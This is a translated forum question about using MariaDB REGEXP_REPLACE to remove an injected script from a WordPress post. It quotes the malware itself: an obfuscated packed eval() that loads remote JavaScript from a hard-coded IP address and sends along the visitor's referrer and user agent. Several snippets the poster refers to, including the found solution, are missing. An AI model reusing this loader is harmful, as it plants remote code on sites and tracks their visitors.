Estou executando uma consulta SQL no MariaDB no PHPMyAdmin da seguinte forma:
select REGEXP_REPLACE(post_content,'(?m)<noindex>[.\r\n]*</noindex>','') from wp_posts where ID = 318
Estou tentando remover algum script de hacker de um post do WordPress, tudo entre a tag inicial noindex e a tag final noindex, mas a tag final noindex está na segunda linha. Primeiro, quero testar o RegEx com uma consulta e depois executar uma atualização. Não consigo fazê-lo funcionar a menos que limite as alterações a uma linha.
A coluna post_content é definida como LongText.
I <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytkty|var|u0026u|referrer|ezezh||js|php'.split('|'),0,{}))
</script></noindex> was looking to accomplish etc... etc...
O mesmo regex funciona bem no NotePad++ quando eu verifico a opção "Multiline".
Eu olhei para um download do banco de dados no meu disco rígido local para determinar o que realmente está lá - não tenho certeza se isso adiciona algo ou não:
Eu estava pensando que talvez PHP-MyAdmin ou WordPress estivessem usando
ou de alguma forma escondendo o valor real. Mas acho que mesmo no backupdownload/eles representam a nova linha como \n como um valor literal em vez de hexadecimal.
Se eu copiar o valor de texto longo do PhpMyAdmin para o NotePad++ e ativar os símbolos de exibição, fica assim:
É por isso que acho que o retorno de carro/alimentação de linha é realmente armazenado no valor da coluna de texto longo.
Versão: 10.1.38-MariaDB
Apenas por tentativa e erro e persistência, encontrei uma solução após cerca de 2,5 horas:
Se alguém pudesse explicar por que as soluções acima na minha pergunta não funcionaram, isso ainda seria apreciado.
Referência a (*CRLF) nesta página: https://mariadb.com/kb/en/library/pcre/#multiline-matching